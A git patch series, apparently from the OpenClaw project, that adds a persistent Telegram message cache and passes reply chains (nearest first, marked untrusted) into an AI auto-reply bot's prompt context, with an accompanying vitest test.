-48,6 +48,48 @@ function sanitizeCurrentTurnContextString(value: string): string { export function buildCurrentTurnPromptContextSuffix( context: CurrentTurnPromptContext | undefined, ): string { + const replyChain = context?.replyChain?.filter( + (entry) => + entry.body?.trim() || + entry.mediaType?.trim() || + entry.mediaPath?.trim() || + entry.mediaRef?.trim(), + ); + if (replyChain && replyChain.length > 0) { + const payload = replyChain.map((entry) => ({ + message_id: entry.messageId ? sanitizeCurrentTurnContextString(entry.messageId) : undefined, + thread_id: entry.threadId ? sanitizeCurrentTurnContextString(entry.threadId) : undefined, + sender: entry.sender ? sanitizeCurrentTurnContextString(entry.sender) : undefined, + sender_id: entry.senderId ? sanitizeCurrentTurnContextString(entry.senderId) : undefined, + sender_username: entry.senderUsername + ? sanitizeCurrentTurnContextString(entry.senderUsername) + : undefined, + timestamp: entry.timestamp, + body: entry.body ? sanitizeCurrentTurnContextString(entry.body) : undefined, + is_quote: entry.isQuote === true ? true : undefined, + media_type: entry.mediaType ? sanitizeCurrentTurnContextString(entry.mediaType) : undefined, + media_path: entry.mediaPath ? sanitizeCurrentTurnContextString(entry.mediaPath) : undefined, + media_ref: entry.mediaRef ? sanitizeCurrentTurnContextString(entry.mediaRef) : undefined, + reply_to_id: entry.replyToId ? sanitizeCurrentTurnContextString(entry.replyToId) : undefined, + forwarded_from: entry.forwardedFrom + ? sanitizeCurrentTurnContextString(entry.forwardedFrom) + : undefined, + forwarded_from_id: entry.forwardedFromId + ? sanitizeCurrentTurnContextString(entry.forwardedFromId) + : undefined, + forwarded_from_username: entry.forwardedFromUsername + ? sanitizeCurrentTurnContextString(entry.forwardedFromUsername) + : undefined, + forwarded_date: entry.forwardedDate, + })); + return [ + "", + "Reply chain of current user message (untrusted, nearest first):", + "```json", + JSON.stringify(payload, null, 2), + "```", + ].join("\n"); + } const reply = context?.reply; const replyBody = reply?.body?.trim(); if (!reply || !replyBody) { diff --git a/src/auto-reply/reply/get-reply-run.ts b/src/auto-reply/reply/get-reply-run.ts index 0077d2a404a..531dc1c5613 100644 --- a/src/auto-reply/reply/get-reply-run.ts +++ b/src/auto-reply/reply/get-reply-run.ts @@ -351,6 +351,18 @@ type RunPreparedReplyParams = { function resolveCurrentTurnPromptContext( ctx: TemplateContext, ): CurrentTurnPromptContext | undefined { + const replyChain = Array.isArray(ctx.ReplyChain) + ? ctx.ReplyChain.filter( + (entry) => + entry.body?.trim() || + entry.mediaType?.trim() || + entry.mediaPath?.trim() || + entry.mediaRef?.trim(), + ) + : undefined; + if (replyChain && replyChain.length > 0) { + return { replyChain }; + } const replyBody = normalizeOptionalString(ctx.ReplyToBody); if (!replyBody) { return undefined; diff --git a/src/auto-reply/templating.ts b/src/auto-reply/templating.ts index 52eda5f6512..2236ce50755 100644 --- a/src/auto-reply/templating.ts +++ b/src/auto-reply/templating.ts @@ -96,6 +96,24 @@ export type MsgContext = { ReplyToIdFull?: string; ReplyToBody?: string; ReplyToSender?: string; + ReplyChain?: Array<{ + messageId?: string; + threadId?: string; + sender?: string; + senderId?: string; + senderUsername?: string; + timestamp?: number; + body?: string; + isQuote?: boolean; + mediaType?: string; + mediaPath?: string; + mediaRef?: string; + replyToId?: string; + forwardedFrom?: string; + forwardedFromId?: string; + forwardedFromUsername?: string; + forwardedDate?: number; + }>; ReplyToIsQuote?: boolean; /** Forward origin from the reply target (when reply_to_message is a forwarded message). */ ReplyToForwardedFrom?: string; From 3c4b482fc58f86ac8e4ba1ba17223668a10aa26d Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 8 May 2026 09:56:35 +0530 Subject: [PATCH 099/174] feat(telegram): persist observed message cache --- extensions/telegram/src/message-cache.test.ts | 87 +++++ extensions/telegram/src/message-cache.ts | 328 ++++++++++++++++++ 2 files changed, 415 insertions(+) create mode 100644 extensions/telegram/src/message-cache.test.ts create mode 100644 extensions/telegram/src/message-cache.ts diff --git a/extensions/telegram/src/message-cache.test.ts b/extensions/telegram/src/message-cache.test.ts new file mode 100644 index 00000000000..71f1448a2b3 --- /dev/null +++ b/extensions/telegram/src/message-cache.test.ts @@ -0,0 +1,87 @@ +import { rm } from "node:fs/promises"; +import type { Message } from "@grammyjs/types"; +import { describe, expect, it } from "vitest"; +import { + buildTelegramReplyChain, + createTelegramMessageCache, + resolveTelegramMessageCachePath, +} from "./message-cache.js"; + +describe("telegram message cache", () => { + it("hydrates reply chains from persisted cached messages", async () => { + const storePath = `/tmp/openclaw-telegram-message-cache-${process.pid}-${Date.now()}.json`; + const persistedPath = resolveTelegramMessageCachePath(storePath); + await rm(persistedPath, { force: true }); + try { + const firstCache = createTelegramMessageCache({ persistedPath }); + firstCache.record({ + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Kesava" }, + message_id: 9000, + date: 1736380700, + from: { id: 1, is_bot: false, first_name: "Kesava" }, + photo: [ + { file_id: "photo-1", file_unique_id: "photo-unique-1", width: 640, height: 480 }, + ], + } as Message, + }); + firstCache.record({ + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Ada" }, + message_id: 9001, + date: 1736380750, + text: "r u back from hermes", + from: { id: 2, is_bot: false, first_name: "Ada" }, + reply_to_message: { + chat: { id: 7, type: "private", first_name: "Kesava" }, + message_id: 9000, + date: 1736380700, + from: { id: 1, is_bot: false, first_name: "Kesava" }, + photo: [ + { file_id: "photo-1", file_unique_id: "photo-unique-1", width: 640, height: 480 }, + ], + } as Message["reply_to_message"], + } as Message, + }); + + const secondCache = createTelegramMessageCache({ persistedPath }); + const chain = buildTelegramReplyChain({ + cache: secondCache, + accountId: "default", + chatId: 7, + msg: { + chat: { id: 7, type: "private", first_name: "Grace" }, + message_id: 9002, + text: "why did you reply?", + from: { id: 3, is_bot: false, first_name: "Grace" }, + reply_to_message: { + chat: { id: 7, type: "private", first_name: "Ada" }, + message_id: 9001, + date: 1736380750, + text: "r u back from hermes", + from: { id: 2, is_bot: false, first_name: "Ada" }, + } as Message["reply_to_message"], + } as Message, + }); + + expect(chain).toEqual([ + expect.objectContaining({ + messageId: "9001", + body: "r u back from hermes", + replyToId: "9000", + }), + expect.objectContaining({ + messageId: "9000", + mediaRef: "telegram:file/photo-1", + mediaType: "image", + }), + ]); + } finally { + await rm(persistedPath, { force: true }); + } + }); +}); diff --git a/extensions/telegram/src/message-cache.ts b/extensions/telegram/src/message-cache.ts new file mode 100644 index 00000000000..8ba63be26d1 --- /dev/null +++ b/extensions/telegram/src/message-cache.ts @@ -0,0 +1,328 @@ +import fs from "node:fs"; +import type { Message } from "@grammyjs/types"; +import { formatLocationText } from "openclaw/plugin-sdk/channel-inbound"; +import type { MsgContext } from "openclaw/plugin-sdk/reply-runtime"; +import { logVerbose } from "openclaw/plugin-sdk/runtime-env"; +import { replaceFileAtomicSync } from "openclaw/plugin-sdk/security-runtime"; +import { resolveTelegramPrimaryMedia } from "./bot/body-helpers.js"; +import { + buildSenderName, + extractTelegramLocation, + getTelegramTextParts, + normalizeForwardedContext, +} from "./bot/helpers.js"; + +export type TelegramReplyChainEntry = NonNullable[number]; + +export type TelegramCachedMessageNode = TelegramReplyChainEntry & { + sourceMessage: Message; +}; + +export type TelegramMessageCache = { + record: (params: { + accountId: string; + chatId: string | number; + msg: Message; + threadId?: number; + }) => TelegramCachedMessageNode | null; + get: (params: { + accountId: string; + chatId: string | number; + messageId?: string; + }) => TelegramCachedMessageNode | null; +}; + +type MessageWithExternalReply = Message & { external_reply?: Message }; +type PersistedTelegramMessageNode = TelegramReplyChainEntry & { + sourceMessage: Message; +}; + +const DEFAULT_MAX_MESSAGES = 5000; + +function telegramMessageCacheKey(params: { + accountId: string; + chatId: string | number; + messageId: string; +}) { + return `${params.accountId}:${params.chatId}:${params.messageId}`; +} + +export function resolveTelegramMessageCachePath(storePath: string): string { + return `${storePath}.telegram-messages.json`; +} + +function resolveReplyMessage(msg: Message): Message | undefined { + const externalReply = (msg as MessageWithExternalReply).external_reply; + return msg.reply_to_message ?? externalReply; +} + +function resolveMessageBody(msg: Message): string | undefined { + const text = getTelegramTextParts(msg).text.trim(); + if (text) { + return text; + } + const location = extractTelegramLocation(msg); + if (location) { + return formatLocationText(location); + } + return resolveTelegramPrimaryMedia(msg)?.placeholder; +} + +function resolveMediaType(placeholder?: string): string | undefined { + return placeholder?.match(/^]+)>$/)?.[1]; +} + +function normalizeMessageNode( + msg: Message, + params: { threadId?: number }, +): TelegramCachedMessageNode | null { + if (typeof msg.message_id !== "number") { + return null; + } + const media = resolveTelegramPrimaryMedia(msg); + const fileId = media?.fileRef.file_id; + const forwardedFrom = normalizeForwardedContext(msg); + const replyMessage = resolveReplyMessage(msg); + const body = resolveMessageBody(msg); + return { + sourceMessage: msg, + messageId: String(msg.message_id), + sender: buildSenderName(msg) ?? "unknown sender", + ...(msg.from?.id != null ? { senderId: String(msg.from.id) } : {}), + ...(msg.from?.username ? { senderUsername: msg.from.username } : {}), + ...(msg.date ? { timestamp: msg.date * 1000 } : {}), + ...(body ? { body } : {}), + ...(media ? { mediaType: resolveMediaType(media.placeholder) ?? media.placeholder } : {}), + ...(fileId ? { mediaRef: `telegram:file/${fileId}` } : {}), + ...(replyMessage?.message_id != null ? { replyToId: String(replyMessage.message_id) } : {}), + ...(forwardedFrom?.from ? { forwardedFrom: forwardedFrom.from } : {}), + ...(forwardedFrom?.fromId ? { forwardedFromId: forwardedFrom.fromId } : {}), + ...(forwardedFrom?.fromUsername ? { forwardedFromUsername: forwardedFrom.fromUsername } : {}), + ...(forwardedFrom?.date ? { forwardedDate: forwardedFrom.date * 1000 } : {}), + ...(params.threadId != null ? { threadId: String(params.threadId) } : {}), + }; +} + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +function isString(value: unknown): value is string { + return typeof value === "string" && value.length > 0; +} + +function isNumber(value: unknown): value is number { + return typeof value === "number" && Number.isFinite(value); +} + +function readOptionalString(record: Record, key: string): string | undefined { + const value = record[key]; + return isString(value) ? value : undefined; +} + +function readOptionalNumber(record: Record, key: string): number | undefined { + const value = record[key]; + return isNumber(value) ? value : undefined; +} + +function isTelegramSourceMessage(value: unknown): value is Message { + if (!isRecord(value) || !isNumber(value.message_id) || !isNumber(value.date)) { + return false; + } + const chat = value.chat; + if (!isRecord(chat) || !isNumber(chat.id)) { + return false; + } + if (chat.type === "private") { + return isString(chat.first_name); + } + return ( + (chat.type === "group" || chat.type === "supergroup" || chat.type === "channel") && + isString(chat.title) + ); +} + +function parseSourceMessage(value: unknown): Message | null { + return isTelegramSourceMessage(value) ? value : null; +} + +function parsePersistedNode(value: unknown): TelegramCachedMessageNode | null { + if (!isRecord(value) || !isString(value.messageId)) { + return null; + } + const sourceMessage = parseSourceMessage(value.sourceMessage); + if (!sourceMessage) { + return null; + } + const node: TelegramCachedMessageNode = { + sourceMessage, + messageId: value.messageId, + }; + const stringKeys = [ + "threadId", + "sender", + "senderId", + "senderUsername", + "body", + "mediaType", + "mediaPath", + "mediaRef", + "replyToId", + "forwardedFrom", + "forwardedFromId", + "forwardedFromUsername", + ] as const satisfies readonly (keyof TelegramCachedMessageNode)[]; + for (const key of stringKeys) { + const field = readOptionalString(value, key); + if (field) { + node[key] = field; + } + } + if (value.isQuote === true) { + node.isQuote = true; + } + const timestamp = readOptionalNumber(value, "timestamp"); + if (timestamp !== undefined) { + node.timestamp = timestamp; + } + const forwardedDate = readOptionalNumber(value, "forwardedDate"); + if (forwardedDate !== undefined) { + node.forwardedDate = forwardedDate; + } + return node; +} + +function readPersistedMessages(filePath: string, maxMessages: number) { + const messages = new Map(); + if (!fs.existsSync(filePath)) { + return messages; + } + try { + const parsed = JSON.parse(fs.readFileSync(filePath, "utf-8")); + if (!Array.isArray(parsed)) { + return messages; + } + for (const entry of parsed.slice(-maxMessages)) { + if (!isRecord(entry) || !isString(entry.key)) { + continue; + } + const node = parsePersistedNode(entry.node); + if (node) { + messages.set(entry.key, node); + } + } + } catch (error) { + logVerbose(`telegram: failed to read message cache: ${String(error)}`); + } + return messages; +} + +function persistMessages(params: { + messages: Map; + persistedPath?: string; +}) { + const { persistedPath, messages } = params; + if (!persistedPath) { + return; + } + if (messages.size === 0) { + fs.rmSync(persistedPath, { force: true }); + return; + } + const serialized = Array.from(messages, ([key, node]) => ({ + key, + node: { + ...node, + sourceMessage: node.sourceMessage, + } satisfies PersistedTelegramMessageNode, + })); + replaceFileAtomicSync({ + filePath: persistedPath, + content: JSON.stringify(serialized), + tempPrefix: ".telegram-message-cache", + }); +} + +export function createTelegramMessageCache(params?: { + maxMessages?: number; + persistedPath?: string; +}): TelegramMessageCache { + const maxMessages = params?.maxMessages ?? DEFAULT_MAX_MESSAGES; + const messages = params?.persistedPath + ? readPersistedMessages(params.persistedPath, maxMessages) + : new Map(); + + const get: TelegramMessageCache["get"] = ({ accountId, chatId, messageId }) => { + if (!messageId) { + return null; + } + const key = telegramMessageCacheKey({ accountId, chatId, messageId }); + const entry = messages.get(key); + if (!entry) { + return null; + } + messages.delete(key); + messages.set(key, entry); + return entry; + }; + + return { + record: ({ accountId, chatId, msg, threadId }) => { + const entry = normalizeMessageNode(msg, { threadId }); + if (!entry?.messageId) { + return null; + } + const key = telegramMessageCacheKey({ accountId, chatId, messageId: entry.messageId }); + messages.delete(key); + messages.set(key, entry); + while (messages.size > maxMessages) { + const oldest = messages.keys().next().value; + if (oldest === undefined) { + break; + } + messages.delete(oldest); + } + try { + persistMessages({ messages, persistedPath: params?.persistedPath }); + } catch (error) { + logVerbose(`telegram: failed to persist message cache: ${String(error)}`); + } + return entry; + }, + get, + }; +} + +export function buildTelegramReplyChain(params: { + cache: TelegramMessageCache; + accountId: string; + chatId: string | number; + msg: Message; + maxDepth?: number; +}): TelegramCachedMessageNode[] { + const replyMessage = resolveReplyMessage(params.msg); + if (!replyMessage?.message_id) { + return []; + } + const maxDepth = params.maxDepth ?? 4; + const visited = new Set(); + const chain: TelegramCachedMessageNode[] = []; + let current = + params.cache.get({ + accountId: params.accountId, + chatId: params.chatId, + messageId: String(replyMessage.message_id), + }) ?? normalizeMessageNode(replyMessage, {}); + + while (current?.messageId && chain.length < maxDepth && !visited.has(current.messageId)) { + visited.add(current.messageId); + chain.push(current); + current = params.cache.get({ + accountId: params.accountId, + chatId: params.chatId, + messageId: current.replyToId, + }); + } + + return chain; +} From 45928ef2980514f90dff1232a40eb503adda40a0 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 8 May 2026 09:56:40 +0530 Subject: [PATCH 100/174] fix(telegram): hydrate inbound reply chains --- .../telegram/src/bot-handlers.runtime.ts | 164 ++++++++++++------ .../src/bot-message-context.session.ts | 143 +++++++++++---- .../telegram/src/bot-message-context.ts | 2 + .../telegram/src/bot-message-context.types.ts | 2 + extensions/telegram/src/bot-message.ts | 3 + .../telegram/src/bot-native-commands.ts | 1 + .../bot.create-telegram-bot.test-harness.ts | 2 + extensions/telegram/src/bot.test.ts | 116 ++++++++++++- 8 files changed, 344 insertions(+), 89 deletions(-) diff --git a/extensions/telegram/src/bot-handlers.runtime.ts b/extensions/telegram/src/bot-handlers.runtime.ts index 1e692936389..edae761b232 100644 --- a/extensions/telegram/src/bot-handlers.runtime.ts +++ b/extensions/telegram/src/bot-handlers.runtime.ts @@ -60,6 +60,7 @@ import { resolveInboundMediaFileId, } from "./bot-handlers.media.js"; import type { TelegramMediaRef } from "./bot-message-context.js"; +import type { TelegramMessageContextOptions } from "./bot-message-context.types.js"; import { parseTelegramNativeCommandCallbackData, RegisterTelegramHandlerParams, @@ -102,6 +103,13 @@ import { import { migrateTelegramGroupConfig } from "./group-migration.js"; import { resolveTelegramInlineButtonsScope } from "./inline-buttons.js"; import { dispatchTelegramPluginInteractiveHandler } from "./interactive-dispatch.js"; +import { + buildTelegramReplyChain, + createTelegramMessageCache, + resolveTelegramMessageCachePath, + type TelegramCachedMessageNode, + type TelegramReplyChainEntry, +} from "./message-cache.js"; import { buildModelsKeyboard, buildProviderKeyboard, @@ -158,9 +166,15 @@ export const registerTelegramHandlers = ({ const mediaGroupBuffer = new Map(); let mediaGroupProcessing: Promise = Promise.resolve(); + const messageCache = createTelegramMessageCache({ + persistedPath: resolveTelegramMessageCachePath( + telegramDeps.resolveStorePath(cfg.session?.store), + ), + }); type TextFragmentEntry = { key: string; + threadId?: number; messages: Array<{ msg: Message; ctx: TelegramContext; receivedAtMs: number }>; timer: ReturnType; }; @@ -179,6 +193,7 @@ export const registerTelegramHandlers = ({ debounceKey: string | null; debounceLane: TelegramDebounceLane; botUsername?: string; + threadId?: number; }; const resolveTelegramDebounceLane = (msg: Message): TelegramDebounceLane => { const forwardMeta = msg as { @@ -248,17 +263,10 @@ export const registerTelegramHandlers = ({ return; } if (entries.length === 1) { - const replyMedia = await resolveReplyMediaForMessage(last.ctx, last.msg); - await processMessage( - last.ctx, - last.allMedia, - last.storeAllowFrom, - { - receivedAtMs: last.receivedAtMs, - ingressBuffer: "inbound-debounce", - }, - replyMedia, - ); + await processMessageWithReplyChain(last.ctx, last.msg, last.allMedia, last.storeAllowFrom, { + receivedAtMs: last.receivedAtMs, + ingressBuffer: "inbound-debounce", + }); return; } const combinedText = entries @@ -278,9 +286,9 @@ export const registerTelegramHandlers = ({ }); const messageIdOverride = last.msg.message_id ? String(last.msg.message_id) : undefined; const syntheticCtx = buildSyntheticContext(baseCtx, syntheticMessage); - const replyMedia = await resolveReplyMediaForMessage(baseCtx, syntheticMessage); - await processMessage( + await processMessageWithReplyChain( syntheticCtx, + syntheticMessage, combinedMedia, first.storeAllowFrom, { @@ -288,7 +296,6 @@ export const registerTelegramHandlers = ({ receivedAtMs: first.receivedAtMs, ingressBuffer: "inbound-debounce", }, - replyMedia, ); }, onError: (err, items) => { @@ -442,8 +449,12 @@ export const registerTelegramHandlers = ({ } const storeAllowFrom = await loadStoreAllowFrom(); - const replyMedia = await resolveReplyMediaForMessage(primaryEntry.ctx, primaryEntry.msg); - await processMessage(primaryEntry.ctx, allMedia, storeAllowFrom, undefined, replyMedia); + await processMessageWithReplyChain( + primaryEntry.ctx, + primaryEntry.msg, + allMedia, + storeAllowFrom, + ); } catch (err) { runtime.error?.(danger(`media group handler failed: ${String(err)}`)); } @@ -473,7 +484,8 @@ export const registerTelegramHandlers = ({ const storeAllowFrom = await loadStoreAllowFrom(); const baseCtx = first.ctx; - await processMessage(buildSyntheticContext(baseCtx, syntheticMessage), [], storeAllowFrom, { + const syntheticCtx = buildSyntheticContext(baseCtx, syntheticMessage); + await processMessageWithReplyChain(syntheticCtx, syntheticMessage, [], storeAllowFrom, { messageIdOverride: String(last.msg.message_id), receivedAtMs: first.receivedAtMs, ingressBuffer: "text-fragment", @@ -507,42 +519,88 @@ export const registerTelegramHandlers = ({ const loadStoreAllowFrom = async () => telegramDeps.readChannelAllowFromStore("telegram", process.env, accountId).catch(() => []); - const resolveReplyMediaForMessage = async ( + const recordMessageForReplyChain = (msg: Message, threadId?: number) => + messageCache.record({ + accountId, + chatId: msg.chat.id, + msg, + ...(threadId != null ? { threadId } : {}), + }); + + const buildReplyChainForMessage = (msg: Message) => + buildTelegramReplyChain({ + cache: messageCache, + accountId, + chatId: msg.chat.id, + msg, + }); + + const toReplyChainEntry = ( + node: TelegramCachedMessageNode, + media?: TelegramMediaRef, + ): TelegramReplyChainEntry => { + const { sourceMessage: _sourceMessage, ...entry } = node; + return { + ...entry, + ...(media?.path ? { mediaPath: media.path } : {}), + ...(media?.contentType ? { mediaType: media.contentType } : {}), + }; + }; + + const resolveReplyMediaForChain = async ( + ctx: TelegramContext, + chain: TelegramCachedMessageNode[], + ): Promise<{ replyMedia: TelegramMediaRef[]; replyChain: TelegramReplyChainEntry[] }> => { + const replyMedia: TelegramMediaRef[] = []; + const replyChain: TelegramReplyChainEntry[] = []; + for (const node of chain) { + const replyFileId = resolveInboundMediaFileId(node.sourceMessage); + if (!replyFileId || !hasInboundMedia(node.sourceMessage)) { + replyChain.push(toReplyChainEntry(node)); + continue; + } + try { + const media = await resolveMedia({ + ctx: { + message: node.sourceMessage, + me: ctx.me, + getFile: async () => await bot.api.getFile(replyFileId), + }, + maxBytes: mediaMaxBytes, + ...mediaRuntimeOptions, + }); + if (!media) { + replyChain.push(toReplyChainEntry(node)); + continue; + } + const mediaRef: TelegramMediaRef = { + path: media.path, + ...(media.contentType ? { contentType: media.contentType } : {}), + ...(media.stickerMetadata ? { stickerMetadata: media.stickerMetadata } : {}), + }; + replyMedia.push(mediaRef); + replyChain.push(toReplyChainEntry(node, mediaRef)); + } catch (err) { + logger.warn( + { chatId: ctx.message.chat.id, error: String(err) }, + "reply media fetch failed", + ); + replyChain.push(toReplyChainEntry(node)); + } + } + return { replyMedia, replyChain }; + }; + + const processMessageWithReplyChain = async ( ctx: TelegramContext, msg: Message, - ): Promise => { - const replyMessage = msg.reply_to_message; - if (!replyMessage || !hasInboundMedia(replyMessage)) { - return []; - } - const replyFileId = resolveInboundMediaFileId(replyMessage); - if (!replyFileId) { - return []; - } - try { - const media = await resolveMedia({ - ctx: { - message: replyMessage, - me: ctx.me, - getFile: async () => await bot.api.getFile(replyFileId), - }, - maxBytes: mediaMaxBytes, - ...mediaRuntimeOptions, - }); - if (!media) { - return []; - } - return [ - { - path: media.path, - contentType: media.contentType, - stickerMetadata: media.stickerMetadata, - }, - ]; - } catch (err) { - logger.warn({ chatId: msg.chat.id, error: String(err) }, "reply media fetch failed"); - return []; - } + allMedia: TelegramMediaRef[], + storeAllowFrom: string[], + options?: TelegramMessageContextOptions, + ) => { + const replyChainNodes = buildReplyChainForMessage(msg); + const { replyMedia, replyChain } = await resolveReplyMediaForChain(ctx, replyChainNodes); + await processMessage(ctx, allMedia, storeAllowFrom, options, replyMedia, replyChain); }; const isAllowlistAuthorized = ( @@ -1783,7 +1841,8 @@ export const registerTelegramHandlers = ({ from: callback.from, text: nativeCallbackCommand ?? data, }); - await processMessage(buildSyntheticContext(ctx, syntheticMessage), [], storeAllowFrom, { + const syntheticCtx = buildSyntheticContext(ctx, syntheticMessage); + await processMessageWithReplyChain(syntheticCtx, syntheticMessage, [], storeAllowFrom, { ...(nativeCallbackCommand ? { commandSource: "native" as const } : {}), forceWasMentioned: true, messageIdOverride: callback.id, @@ -1943,6 +2002,7 @@ export const registerTelegramHandlers = ({ } } + recordMessageForReplyChain(event.msg, resolvedThreadId ?? dmThreadId); await processInboundMessage({ ctx: event.ctx, msg: event.msg, diff --git a/extensions/telegram/src/bot-message-context.session.ts b/extensions/telegram/src/bot-message-context.session.ts index 1069b922795..6fd0467c0fe 100644 --- a/extensions/telegram/src/bot-message-context.session.ts +++ b/extensions/telegram/src/bot-message-context.session.ts @@ -39,6 +39,7 @@ import { } from "./bot/helpers.js"; import type { TelegramContext } from "./bot/types.js"; import { resolveTelegramGroupPromptSettings } from "./group-config-helpers.js"; +import type { TelegramReplyChainEntry } from "./message-cache.js"; type FinalizedTelegramInboundContext = ReturnType< typeof import("./bot-message-context.session.runtime.js").finalizeInboundContext @@ -93,6 +94,7 @@ export async function buildTelegramInboundContextPayload(params: { msg: TelegramContext["message"]; allMedia: TelegramMediaRef[]; replyMedia: TelegramMediaRef[]; + replyChain: TelegramReplyChainEntry[]; isGroup: boolean; isForum: boolean; chatId: number | string; @@ -139,6 +141,7 @@ export async function buildTelegramInboundContextPayload(params: { msg, allMedia, replyMedia, + replyChain, isGroup, isForum, chatId, @@ -225,38 +228,111 @@ export async function buildTelegramInboundContextPayload(params: { forwardedFrom: visibleReplyForwardedFrom, } : null; + const fallbackReplyChain: TelegramReplyChainEntry[] = visibleReplyTarget + ? [ + { + ...(visibleReplyTarget.id ? { messageId: visibleReplyTarget.id } : {}), + sender: visibleReplyTarget.sender, + ...(visibleReplyTarget.senderId ? { senderId: visibleReplyTarget.senderId } : {}), + ...(visibleReplyTarget.senderUsername + ? { senderUsername: visibleReplyTarget.senderUsername } + : {}), + ...(visibleReplyTarget.body ? { body: visibleReplyTarget.body } : {}), + ...(visibleReplyTarget.kind === "quote" ? { isQuote: true } : {}), + ...(visibleReplyTarget.forwardedFrom?.from + ? { forwardedFrom: visibleReplyTarget.forwardedFrom.from } + : {}), + ...(visibleReplyTarget.forwardedFrom?.fromId + ? { forwardedFromId: visibleReplyTarget.forwardedFrom.fromId } + : {}), + ...(visibleReplyTarget.forwardedFrom?.fromUsername + ? { forwardedFromUsername: visibleReplyTarget.forwardedFrom.fromUsername } + : {}), + ...(visibleReplyTarget.forwardedFrom?.date + ? { forwardedDate: visibleReplyTarget.forwardedFrom.date * 1000 } + : {}), + }, + ] + : []; + const rawReplyChain = replyChain.length > 0 ? replyChain : fallbackReplyChain; + const replyChainWithVisibleTarget = + visibleReplyTarget && rawReplyChain[0]?.messageId === visibleReplyTarget.id + ? [ + { + ...rawReplyChain[0], + ...(visibleReplyTarget.body ? { body: visibleReplyTarget.body } : {}), + ...(visibleReplyTarget.kind === "quote" ? { isQuote: true } : {}), + ...(visibleReplyTarget.forwardedFrom?.from + ? { forwardedFrom: visibleReplyTarget.forwardedFrom.from } + : {}), + ...(visibleReplyTarget.forwardedFrom?.fromId + ? { forwardedFromId: visibleReplyTarget.forwardedFrom.fromId } + : {}), + ...(visibleReplyTarget.forwardedFrom?.fromUsername + ? { forwardedFromUsername: visibleReplyTarget.forwardedFrom.fromUsername } + : {}), + ...(visibleReplyTarget.forwardedFrom?.date + ? { forwardedDate: visibleReplyTarget.forwardedFrom.date * 1000 } + : {}), + }, + ...rawReplyChain.slice(1), + ] + : rawReplyChain; + const visibleReplyChain = replyChainWithVisibleTarget + .filter((entry) => + shouldIncludeGroupSupplementalContext({ + kind: "quote", + senderId: entry.senderId, + senderUsername: entry.senderUsername, + }), + ) + .map((entry) => { + const includeForwarded = + entry.forwardedFrom && + shouldIncludeGroupSupplementalContext({ + kind: "forwarded", + senderId: entry.forwardedFromId, + senderUsername: entry.forwardedFromUsername, + }); + if (includeForwarded) { + return entry; + } + const { + forwardedFrom: _forwardedFrom, + forwardedFromId: _forwardedFromId, + forwardedFromUsername: _forwardedFromUsername, + forwardedDate: _forwardedDate, + ...withoutForwarded + } = entry; + return withoutForwarded; + }); const visibleForwardOrigin = includeForwardOrigin ? forwardOrigin : null; - const replyForwardAnnotation = visibleReplyTarget?.forwardedFrom - ? `[Forwarded from ${visibleReplyTarget.forwardedFrom.from}${ - visibleReplyTarget.forwardedFrom.date - ? ` at ${new Date(visibleReplyTarget.forwardedFrom.date * 1000).toISOString()}` - : "" - }]\n` - : ""; - const buildReplySupplementalLines = (params: { body?: string }) => { - const lines: string[] = []; - const forwardAnnotation = replyForwardAnnotation.trimEnd(); - if (forwardAnnotation) { - lines.push(forwardAnnotation); - } - if (params.body) { - lines.push(params.body); - } - return lines.length > 0 ? `\n${lines.join("\n")}` : ""; + const formatReplyChainEntry = (entry: TelegramReplyChainEntry, index: number) => { + const labels = [ + `${index + 1}. ${entry.sender ?? "unknown sender"}`, + entry.messageId ? `id:${entry.messageId}` : undefined, + entry.replyToId ? `reply_to:${entry.replyToId}` : undefined, + entry.timestamp ? new Date(entry.timestamp).toISOString() : undefined, + ].filter(Boolean); + const bodyLines = [ + entry.forwardedFrom + ? `[Forwarded from ${entry.forwardedFrom}${ + entry.forwardedDate ? ` at ${new Date(entry.forwardedDate).toISOString()}` : "" + }]` + : undefined, + entry.isQuote && entry.body ? `"${entry.body}"` : entry.body, + entry.mediaType ? `` : undefined, + entry.mediaPath ? `[media_path:${entry.mediaPath}]` : undefined, + entry.mediaRef ? `[media_ref:${entry.mediaRef}]` : undefined, + ].filter(Boolean); + return `[${labels.join(" ")}]\n${bodyLines.join("\n")}`; }; - const replySuffix = visibleReplyTarget - ? visibleReplyTarget.kind === "quote" - ? `\n\n[Quoting ${visibleReplyTarget.sender}${ - visibleReplyTarget.id ? ` id:${visibleReplyTarget.id}` : "" - }]${buildReplySupplementalLines({ - body: visibleReplyTarget.body ? `"${visibleReplyTarget.body}"` : undefined, - })}\n[/Quoting]` - : `\n\n[Replying to ${visibleReplyTarget.sender}${ - visibleReplyTarget.id ? ` id:${visibleReplyTarget.id}` : "" - }]${buildReplySupplementalLines({ - body: visibleReplyTarget.body, - })}\n[/Replying]` - : ""; + const replySuffix = + visibleReplyChain.length > 0 + ? `\n\n[Reply chain - nearest first]\n${visibleReplyChain + .map(formatReplyChainEntry) + .join("\n")}\n[/Reply chain]` + : ""; const forwardPrefix = visibleForwardOrigin ? `[Forwarded from ${visibleForwardOrigin.from}${ visibleForwardOrigin.date @@ -352,9 +428,10 @@ export async function buildTelegramInboundContextPayload(params: { Surface: "telegram", BotUsername: primaryCtx.me?.username ?? undefined, MessageSid: options?.messageIdOverride ?? String(msg.message_id), - ReplyToId: visibleReplyTarget?.id, - ReplyToBody: visibleReplyTarget?.body, - ReplyToSender: visibleReplyTarget?.sender, + ReplyToId: visibleReplyChain[0]?.messageId ?? visibleReplyTarget?.id, + ReplyToBody: visibleReplyChain[0]?.body ?? visibleReplyTarget?.body, + ReplyToSender: visibleReplyChain[0]?.sender ?? visibleReplyTarget?.sender, + ReplyChain: visibleReplyChain.length > 0 ? visibleReplyChain : undefined, ReplyToIsQuote: visibleReplyTarget?.kind === "quote" ? true : undefined, ReplyToIsExternal: visibleReplyTarget?.source === "external_reply" ? true : undefined, ReplyToQuoteText: visibleReplyTarget?.quoteText, diff --git a/extensions/telegram/src/bot-message-context.ts b/extensions/telegram/src/bot-message-context.ts index 3536806d4df..eb4bef9ba8f 100644 --- a/extensions/telegram/src/bot-message-context.ts +++ b/extensions/telegram/src/bot-message-context.ts @@ -115,6 +115,7 @@ export const buildTelegramMessageContext = async ({ primaryCtx, allMedia, replyMedia 